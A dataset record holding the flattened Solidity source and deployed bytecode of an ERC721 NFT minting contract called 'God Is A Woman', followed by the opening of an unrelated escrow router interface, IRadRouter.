* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/GodIsAWoman.sol
pragma solidity ^0.8.0;
contract GodIsAWoman is ERC721, ERC721Enumerable, Ownable {
using SafeMath for uint256;
uint256 public constant maxSupply = 888;
uint256 private _price = 0.08 ether;
uint256 private _presalePrice = 0.05 ether;
uint256 private _maxReserved = 30;
uint256 private _reserved = 0;
bool private _saleStarted;
bool private _presaleStarted;
mapping(address => bool) private presaleWhitelistedMinters;
bytes32 public merkleRoot;
string public baseURI;
constructor() ERC721("God Is A Woman", "GIW") {
_saleStarted = false;
_presaleStarted = false;
}
modifier whenSaleStarted() {
require(_saleStarted);
_;
}
modifier whenPresaleStarted() {
require(_presaleStarted);
_;
}
function mint(uint256 _tokensNum) external payable whenSaleStarted {
uint256 supply = totalSupply();
require(_tokensNum <= 10, "You cannot mint more than 10 tokens at once!");
require(supply + _tokensNum <= maxSupply - _maxReserved, "Not enough tokens left.");
require(msg.value >= _tokensNum * _price, "Inconsistent amount sent!");
for (uint256 i; i < _tokensNum; i++) {
_safeMint(msg.sender, supply + i);
}
}
function mintPresale(bytes32[] calldata merkleProof) external payable whenPresaleStarted {
uint256 supply = totalSupply();
require(MerkleProof.verify(merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender)) ), "Invalid proof.");
require(supply + 1 <= maxSupply - _maxReserved, "Not enough tokens left.");
require(msg.value >= _presalePrice, "Inconsistent amount sent!");
require(presaleWhitelistedMinters[msg.sender] == false, "You already claimed the whitelisted mint.");
presaleWhitelistedMinters[msg.sender] = true;
_safeMint(msg.sender, supply);
}
function claimReserved(uint256 _tokensNum, address _receiver) external onlyOwner {
uint256 supply = totalSupply();
require(_reserved + _tokensNum <= _maxReserved, "That would exceed the max reserved.");
for (uint256 i; i < _tokensNum; i++) {
_safeMint(_receiver, supply + i);
}
_reserved = _reserved + _tokensNum;
}
function flipSaleStarted() external onlyOwner {
_saleStarted = !_saleStarted;
}
function flipPresaleStarted() external onlyOwner {
_presaleStarted = !_presaleStarted;
}
function saleStarted() public view returns(bool) {
return _saleStarted;
}
function presaleStarted() public view returns(bool) {
return _presaleStarted;
}
function setBaseURI(string memory _URI) external onlyOwner {
baseURI = _URI;
}
function _baseURI() internal view override(ERC721) returns(string memory) {
return baseURI;
}
function setPrice(uint256 _newPrice) external onlyOwner {
_price = _newPrice;
}
function setPresalePrice(uint256 _newPrice) external onlyOwner {
_presalePrice = _newPrice;
}
function getPrice() public view returns(uint256) {
return _price;
}
function getPresalePrice() public view returns(uint256) {
return _presalePrice;
}
function getReservedLeft() public view returns(uint256) {
return _maxReserved - _reserved;
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint256 i; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
merkleRoot = newMerkleRoot;
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
} | 0x6080604052600436106102255760003560e01c806370a082311161012357806398d5fdca116100ab578063c87b56dd1161006f578063c87b56dd146105fe578063d5abeb011461061e578063daa023aa14610634578063e985e9c514610649578063f2fde38b1461069257600080fd5b806398d5fdca14610576578063a0712d681461058b578063a22cb4651461059e578063b0e1d7f3146105be578063b88d4fde146105de57600080fd5b80637d60157b116100f25780637d60157b146104fb578063899d7b381461050e5780638da5cb5b1461052357806391b7f5ed1461054157806395d89b411461056157600080fd5b806370a0823114610491578063715018a6146104b157806377ee4b0f146104c65780637cb64759146104db57600080fd5b80633549345e116101b157806355f804b31161017557806355f804b31461040f5780635c474f9e1461042f5780636352211e1461044757806369d30499146104675780636c0360eb1461047c57600080fd5b80633549345e1461036d5780633ccfd60b1461038d57806342842e0e146103a2578063438b6300146103c25780634f6ccce7146103ef57600080fd5b8063095ea7b3116101f8578063095ea7b3146102d657806318160ddd146102f857806323b872dd146103175780632eb4a7ab146103375780632f745c591461034d57600080fd5b806301ffc9a71461022a57806304549d6f1461025f57806306fdde031461027c578063081812fc1461029e575b600080fd5b34801561023657600080fd5b5061024a610245366004612371565b6106b2565b60405190151581526020015b60405180910390f35b34801561026b57600080fd5b50600f54610100900460ff1661024a565b34801561028857600080fd5b506102916106c3565b60405161025691906124f3565b3480156102aa57600080fd5b506102be6102b9366004612358565b610755565b6040516001600160a01b039091168152602001610256565b3480156102e257600080fd5b506102f66102f13660046122b9565b6107ef565b005b34801561030457600080fd5b506008545b604051908152602001610256565b34801561032357600080fd5b506102f66103323660046121c5565b610905565b34801561034357600080fd5b5061030960115481565b34801561035957600080fd5b506103096103683660046122b9565b610936565b34801561037957600080fd5b506102f6610388366004612358565b6109cc565b34801561039957600080fd5b506102f66109fb565b3480156103ae57600080fd5b506102f66103bd3660046121c5565b610a58565b3480156103ce57600080fd5b506103e26103dd366004612177565b610a73565b60405161025691906124af565b3480156103fb57600080fd5b5061030961040a366004612358565b610b15565b34801561041b57600080fd5b506102f661042a3660046123ab565b610ba8565b34801561043b57600080fd5b50600f5460ff1661024a565b34801561045357600080fd5b506102be610462366004612358565b610be5565b34801561047357600080fd5b506102f6610c5c565b34801561048857600080fd5b50610291610ca3565b34801561049d57600080fd5b506103096104ac366004612177565b610d31565b3480156104bd57600080fd5b506102f6610db8565b3480156104d257600080fd5b50600c54610309565b3480156104e757600080fd5b506102f66104f6366004612358565b610dee565b6102f66105093660046122e3565b610e1d565b34801561051a57600080fd5b506102f6611036565b34801561052f57600080fd5b50600a546001600160a01b03166102be565b34801561054d57600080fd5b506102f661055c366004612358565b611074565b34801561056d57600080fd5b506102916110a3565b34801561058257600080fd5b50600b54610309565b6102f6610599366004612358565b6110b2565b3480156105aa57600080fd5b506102f66105b936600461227d565b61121d565b3480156105ca57600080fd5b506102f66105d93660046123f4565b6112e2565b3480156105ea57600080fd5b506102f66105f9366004612201565b6113c6565b34801561060a57600080fd5b50610291610619366004612358565b6113fe565b34801561062a57600080fd5b5061030961037881565b34801561064057600080fd5b506103096114d9565b34801561065557600080fd5b5061024a610664366004612192565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561069e57600080fd5b506102f66106ad366004612177565b6114f0565b60006106bd8261158b565b92915050565b6060600080546106d29061266c565b80601f01602080910402602001604051908101604052809291908181526020018280546106fe9061266c565b801561074b5780601f106107205761010080835404028352916020019161074b565b820191906000526020600020905b81548152906001019060200180831161072e57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107d35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006107fa82610be5565b9050806001600160a01b0316836001600160a01b031614156108685760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107ca565b336001600160a01b038216148061088457506108848133610664565b6108f65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107ca565b61090083836115b0565b505050565b61090f338261161e565b61092b5760405162461bcd60e51b81526004016107ca9061258d565b610900838383611715565b600061094183610d31565b82106109a35760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016107ca565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b031633146109f65760405162461bcd60e51b81526004016107ca90612558565b600c55565b600a546001600160a01b03163314610a255760405162461bcd60e51b81526004016107ca90612558565b6040514790339082156108fc029083906000818181858888f19350505050158015610a54573d6000803e3d6000fd5b5050565b610900838383604051806020016040528060008152506113c6565b60606000610a8083610d31565b905060008167ffffffffffffffff811115610a9d57610a9d61272e565b604051908082528060200260200182016040528015610ac6578160200160208202803683370190505b50905060005b82811015610b0d57610ade8582610936565b828281518110610af057610af0612718565b602090810291909101015280610b05816126a7565b915050610acc565b509392505050565b6000610b2060085490565b8210610b835760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016107ca565b60088281548110610b9657610b96612718565b90600052602060002001549050919050565b600a546001600160a01b03163314610bd25760405162461bcd60e51b81526004016107ca90612558565b8051610a5490601290602084019061204c565b6000818152600260205260408120546001600160a01b0316806106bd5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107ca565b600a546001600160a01b03163314610c865760405162461bcd60e51b81526004016107ca90612558565b600f805461ff001981166101009182900460ff1615909102179055565b60128054610cb09061266c565b80601f0160208091040260200160405190810160405280929190818152602001828054610cdc9061266c565b8015610d295780601f10610cfe57610100808354040283529160200191610d29565b820191906000526020600020905b815481529060010190602001808311610d0c57829003601f168201915b505050505081565b60006001600160a01b038216610d9c5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107ca565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610de25760405162461bcd60e51b81526004016107ca90612558565b610dec60006118c0565b565b600a546001600160a01b03163314610e185760405162461bcd60e51b81526004016107ca90612558565b601155565b600f54610100900460ff16610e3157600080fd5b6000610e3c60085490565b9050610eb3838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506011546040516bffffffffffffffffffffffff193360601b166020820152909250603401905060405160208183030381529060405280519060200120611912565b610ef05760405162461bcd60e51b815260206004820152600e60248201526d24b73b30b634b210383937b7b31760911b60448201526064016107ca565b600d54610eff90610378612629565b610f0a8260016125de565b1115610f525760405162461bcd60e51b81526020600482015260176024820152762737ba1032b737bab3b4103a37b5b2b739903632b33a1760491b60448201526064016107ca565b600c54341015610fa05760405162461bcd60e51b8152602060048201526019602482015278496e636f6e73697374656e7420616d6f756e742073656e742160381b60448201526064016107ca565b3360009081526010602052604090205460ff16156110125760405162461bcd60e51b815260206004820152602960248201527f596f7520616c726561647920636c61696d6564207468652077686974656c69736044820152683a32b21036b4b73a1760b91b60648201526084016107ca565b336000818152601060205260409020805460ff1916600117905561090090826119c1565b600a546001600160a01b031633146110605760405162461bcd60e51b81526004016107ca90612558565b600f805460ff19811660ff90911615179055565b600a546001600160a01b0316331461109e5760405162461bcd60e51b81526004016107ca90612558565b600b55565b6060600180546106d29061266c565b600f5460ff166110c157600080fd5b60006110cc60085490565b9050600a8211156111345760405162461bcd60e51b815260206004820152602c60248201527f596f752063616e6e6f74206d696e74206d6f7265207468616e20313020746f6b60448201526b656e73206174206f6e63652160a01b60648201526084016107ca565b600d5461114390610378612629565b61114d83836125de565b11156111955760405162461bcd60e51b81526020600482015260176024820152762737ba1032b737bab3b4103a37b5b2b739903632b33a1760491b60448201526064016107ca565b600b546111a2908361260a565b3410156111ed5760405162461bcd60e51b8152602060048201526019602482015278496e636f6e73697374656e7420616d6f756e742073656e742160381b60448201526064016107ca565b60005b828110156109005761120b3361120683856125de565b6119c1565b80611215816126a7565b9150506111f0565b6001600160a01b0382163314156112765760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107ca565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b0316331461130c5760405162461bcd60e51b81526004016107ca90612558565b600061131760085490565b9050600d5483600e5461132a91906125de565b11156113845760405162461bcd60e51b815260206004820152602360248201527f5468617420776f756c642065786365656420746865206d61782072657365727660448201526232b21760e91b60648201526084016107ca565b60005b838110156113af5761139d8361120683856125de565b806113a7816126a7565b915050611387565b5082600e546113be91906125de565b600e55505050565b6113d0338361161e565b6113ec5760405162461bcd60e51b81526004016107ca9061258d565b6113f8848484846119db565b50505050565b6000818152600260205260409020546060906001600160a01b031661147d5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107ca565b6000611487611a0e565b905060008151116114a757604051806020016040528060008152506114d2565b806114b184611a1d565b6040516020016114c2929190612443565b6040516020818303038152906040525b9392505050565b6000600e54600d546114eb9190612629565b905090565b600a546001600160a01b0316331461151a5760405162461bcd60e51b81526004016107ca90612558565b6001600160a01b03811661157f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b611588816118c0565b50565b60006001600160e01b0319821663780e9d6360e01b14806106bd57506106bd82611b1b565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906115e582610be5565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166116975760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107ca565b60006116a283610be5565b9050806001600160a01b0316846001600160a01b031614806116dd5750836001600160a01b03166116d284610755565b6001600160a01b0316145b8061170d57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661172882610be5565b6001600160a01b0316146117905760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107ca565b6001600160a01b0382166117f25760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6117fd838383611b6b565b6118086000826115b0565b6001600160a01b0383166000908152600360205260408120805460019290611831908490612629565b90915550506001600160a01b038216600090815260036020526040812080546001929061185f9084906125de565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081815b85518110156119b657600086828151811061193457611934612718565b602002602001015190508083116119765760408051602081018590529081018290526060016040516020818303038152906040528051906020012092506119a3565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806119ae816126a7565b915050611917565b509092149392505050565b610a54828260405180602001604052806000815250611b76565b6119e6848484611715565b6119f284848484611ba9565b6113f85760405162461bcd60e51b81526004016107ca90612506565b6060601280546106d29061266c565b606081611a415750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611a6b5780611a55816126a7565b9150611a649050600a836125f6565b9150611a45565b60008167ffffffffffffffff811115611a8657611a8661272e565b6040519080825280601f01601f191660200182016040528015611ab0576020820181803683370190505b5090505b841561170d57611ac5600183612629565b9150611ad2600a866126c2565b611add9060306125de565b60f81b818381518110611af257611af2612718565b60200101906001600160f81b031916908160001a905350611b14600a866125f6565b9450611ab4565b60006001600160e01b031982166380ac58cd60e01b1480611b4c57506001600160e01b03198216635b5e139f60e01b145b806106bd57506301ffc9a760e01b6001600160e01b03198316146106bd565b610900838383611cb6565b611b808383611d6e565b611b8d6000848484611ba9565b6109005760405162461bcd60e51b81526004016107ca90612506565b60006001600160a01b0384163b15611cab57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611bed903390899088908890600401612472565b602060405180830381600087803b158015611c0757600080fd5b505af1925050508015611c37575060408051601f3d908101601f19168201909252611c349181019061238e565b60015b611c91573d808015611c65576040519150601f19603f3d011682016040523d82523d6000602084013e611c6a565b606091505b508051611c895760405162461bcd60e51b81526004016107ca90612506565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061170d565b506001949350505050565b6001600160a01b038316611d1157611d0c81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611d34565b816001600160a01b0316836001600160a01b031614611d3457611d348382611ebc565b6001600160a01b038216611d4b5761090081611f59565b826001600160a01b0316826001600160a01b031614610900576109008282612008565b6001600160a01b038216611dc45760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107ca565b6000818152600260205260409020546001600160a01b031615611e295760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107ca565b611e3560008383611b6b565b6001600160a01b0382166000908152600360205260408120805460019290611e5e9084906125de565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001611ec984610d31565b611ed39190612629565b600083815260076020526040902054909150808214611f26576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611f6b90600190612629565b60008381526009602052604081205460088054939450909284908110611f9357611f93612718565b906000526020600020015490508060088381548110611fb457611fb4612718565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611fec57611fec612702565b6001900381819060005260206000200160009055905550505050565b600061201383610d31565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b8280546120589061266c565b90600052602060002090601f01602090048101928261207a57600085556120c0565b82601f1061209357805160ff19168380011785556120c0565b828001600101855582156120c0579182015b828111156120c05782518255916020019190600101906120a5565b506120cc9291506120d0565b5090565b5b808211156120cc57600081556001016120d1565b600067ffffffffffffffff808411156121005761210061272e565b604051601f8501601f19908116603f011681019082821181831017156121285761212861272e565b8160405280935085815286868601111561214157600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461217257600080fd5b919050565b60006020828403121561218957600080fd5b6114d28261215b565b600080604083850312156121a557600080fd5b6121ae8361215b565b91506121bc6020840161215b565b90509250929050565b6000806000606084860312156121da57600080fd5b6121e38461215b565b92506121f16020850161215b565b9150604084013590509250925092565b6000806000806080858703121561221757600080fd5b6122208561215b565b935061222e6020860161215b565b925060408501359150606085013567ffffffffffffffff81111561225157600080fd5b8501601f8101871361226257600080fd5b612271878235602084016120e5565b91505092959194509250565b6000806040838503121561229057600080fd5b6122998361215b565b9150602083013580151581146122ae57600080fd5b809150509250929050565b600080604083850312156122cc57600080fd5b6122d58361215b565b946020939093013593505050565b600080602083850312156122f657600080fd5b823567ffffffffffffffff8082111561230e57600080fd5b818501915085601f83011261232257600080fd5b81358181111561233157600080fd5b8660208260051b850101111561234657600080fd5b60209290920196919550909350505050565b60006020828403121561236a57600080fd5b5035919050565b60006020828403121561238357600080fd5b81356114d281612744565b6000602082840312156123a057600080fd5b81516114d281612744565b6000602082840312156123bd57600080fd5b813567ffffffffffffffff8111156123d457600080fd5b8201601f810184136123e557600080fd5b61170d848235602084016120e5565b6000806040838503121561240757600080fd5b823591506121bc6020840161215b565b6000815180845261242f816020860160208601612640565b601f01601f19169290920160200192915050565b60008351612455818460208801612640565b835190830190612469818360208801612640565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906124a590830184612417565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156124e7578351835292840192918401916001016124cb565b50909695505050505050565b6020815260006114d26020830184612417565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156125f1576125f16126d6565b500190565b600082612605576126056126ec565b500490565b6000816000190483118215151615612624576126246126d6565b500290565b60008282101561263b5761263b6126d6565b500390565b60005b8381101561265b578181015183820152602001612643565b838111156113f85750506000910152565b600181811c9082168061268057607f821691505b602082108114156126a157634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156126bb576126bb6126d6565b5060010190565b6000826126d1576126d16126ec565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461158857600080fdfea2646970667358221220edc74b4b40967b15a890d4b394aec2bdc8d48fe783836ed67100045b76b012a464736f6c63430008070033 | [
5,
12
] |
0xf3468F5b9f15dE66c42FbB5D9d7133b36629d720 | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
interface IRadRouter is IERC721Receiver {
/**
* @dev Emitted when a retail revenue split is updated for asset ledger `ledger`
*/
event RetailRevenueSplitChange(address indexed ledger, address indexed stakeholder, uint256 share, uint256 totalStakeholders, uint256 totalSplit);
/**
* @dev Emitted when a resale revenue split is updated for asset ledger `ledger`
*/
event ResaleRevenueSplitChange(address indexed ledger, address indexed stakeholder, uint256 share, uint256 totalStakeholders, uint256 totalSplit);
/**
* @dev Emitted when the minimum price of asset `assetId` is updated
*/
event AssetMinPriceChange(address indexed ledger, uint256 indexed assetId, uint256 minPrice);
/**
* @dev Emitted when seller `seller` changes ownership for asset `assetId` in ledger `ledger` to or from this escrow. `escrowed` is true for deposits and false for withdrawals
*/
event SellerEscrowChange(address indexed ledger, uint256 indexed assetId, address indexed seller, bool escrowed);
/**
* @dev Emitted when buyer `buyer` deposits or withdraws ETH from this escrow for asset `assetId` in ledger `ledger`. `escrowed` is true for deposits and false for withdrawals
*/
event BuyerEscrowChange(address indexed ledger, uint256 indexed assetId, address indexed buyer, bool escrowed);
/**
* @dev Emitted when stakeholder `stakeholder` is paid out from a retail sale or resale
*/
event StakeholderPayout(address indexed ledger, uint256 indexed assetId, address indexed stakeholder, uint256 payout, uint256 share, bool retail);
/**
* @dev Emitted when buyer `buyer` deposits or withdraws ETH from this escrow for asset `assetId` in ledger `ledger`. `escrowed` is true for deposits and false for withdrawals
*/
event EscrowFulfill(address indexed ledger, uint256 indexed assetId, address seller, address buyer, uint256 value);
/**
* @dev Sets a stakeholder's revenue share for an asset ledger. If `retail` is true, sets retail revenue splits; otherwise sets resale revenue splits
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_stakeholder` cannot be the zero address.
* - `_share` must be >= 0 and <= 100
* - Revenue cannot be split more than 5 ways
*
* Emits a {RetailRevenueSplitChange|ResaleRevenueSplitChange} event.
*/
function setRevenueSplit(address _ledger, address payable _stakeholder, uint256 _share, bool _retail) external returns (bool success);
/**
* @dev Returns the revenue share of `_stakeholder` for ledger `_ledger`
*
* See {setRevenueSplit}
*/
function getRevenueSplit(address _ledger, address payable _stakeholder, bool _retail) external view returns (uint256 share);
/**
* @dev Sets multiple stakeholders' revenue shares for an asset ledger. Overwrites any existing revenue share. If `retail` is true, sets retail revenue splits; otherwise sets resale revenue splits
* See {setRevenueSplit}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_stakeholders` cannot contain zero addresses.
* - `_shares` must be >= 0 and <= 100
* - Revenue cannot be split more than 5 ways
*
* Emits a {RetailRevenueSplitChange|ResaleRevenueSplitChange} event.
*/
function setRevenueSplits(address _ledger, address payable[] calldata _stakeholders, uint256[] calldata _shares, bool _retail) external returns (bool success);
/**
* @dev For ledger `_ledger`, returns retail revenue stakeholders if `_retail` is true, otherwise returns resale revenue stakeholders.
*/
function getRevenueStakeholders(address _ledger, bool _retail) external view returns (address[] memory stakeholders);
/**
* @dev Sets the minimum price for asset `_assetId`
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
* - `_minPrice` is in wei
*
* Emits a {AssetMinPriceChange} event.
*/
